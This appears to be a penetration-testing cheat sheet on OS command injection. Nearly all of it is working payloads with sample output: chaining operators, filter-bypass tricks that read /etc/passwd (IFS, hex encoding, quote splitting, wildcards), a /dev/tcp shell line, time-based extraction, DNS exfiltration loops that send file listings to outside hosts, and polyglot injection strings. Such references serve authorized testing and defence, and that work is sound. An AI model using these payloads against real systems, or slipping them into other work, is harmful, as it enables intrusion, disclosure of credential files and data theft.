Command Injection

> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.

Summary

Tools

- commix - Automated All-in-One OS command injection and exploitation tool

Exploits

Basic commands

Execute the command and voila :p

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```

Chaining commands

```
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls   # Only if the first cmd fail
```

Inside a command

```
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```

Filter Bypasses

Bypass without space

Works on Linux only.

```
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242
```

Commands execution without spaces, $ or { } - Linux (Bash only)

```
IFS=,;`cat<<<uname,-a`
```

Tabs work as separators in web apps where spaces are removed.

```
;ls%09-al%09/home
drwxr-xr-x  4 root root  4096 Jan 10 13:34 .
drwxr-xr-x 18 root root  4096 Jan 10 13:33 ..
```

```
drwx------  2 root root 16384 Jan 10 13:31 lost+found
drwxr-xr-x  4 test test  4096 Jan 13 08:30 test
```

Works on Windows only.

```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

Bypass with a line return

```
something%0Acat%20/etc/passwd
```

You can also write files.

```
;cat>/tmp/hi<<EOF%0ahello%0aEOF
;cat</tmp/hi
hello
```

Bypass characters filter via hex encoding

Linux

```
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
```

Bypass characters filter

Commands execution without backslash and slash - linux bash

```
swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```

Bypass Blacklisted words

Bypass with single quote

```
w'h'o'am'i
```

Bypass with double quote

```
w"h"o"am"i
```

Bypass with backslash and slash

```
w\ho\am\i
/\b\i\n/////s\h
```

Bypass with $@

```
who$@ami

echo $0
-> /usr/bin/zsh
echo whoami|$0
```

Bypass with $()

```
who$()ami
who$(echo am)i
```

```
who`echo am`i
```

Bypass with variable expansion

```
/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```

Bypass with wildcards

```
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```

Challenge

Challenge based on the previous tricks, what does the following command do:

```
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
```

Time based data exfiltration

Extracting data : char by char

```
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```

DNS based data exfiltration

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca

```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```

Online tools to check for DNS based data exfiltration:

- dnsbin.zhack.ca
- pingb.in

Polyglot command injection

```
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

e.g:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
```

```
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-
sleep(5)||'"||sleep(5)||"/*`*/

e.g:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-
sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-
sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-
sleep(5)||'"||sleep(5)||"/*`*/'
```

References

- SECURITY CAFÉ - Exploiting Timed Based RCE
- Bug Bounty Survey - Windows RCE spaceless
- No PHP, no spaces, no $, no { }, bash only - @asdizzle
- #bash #obfuscation by string manipulation - Malwrologist, @DissectMalware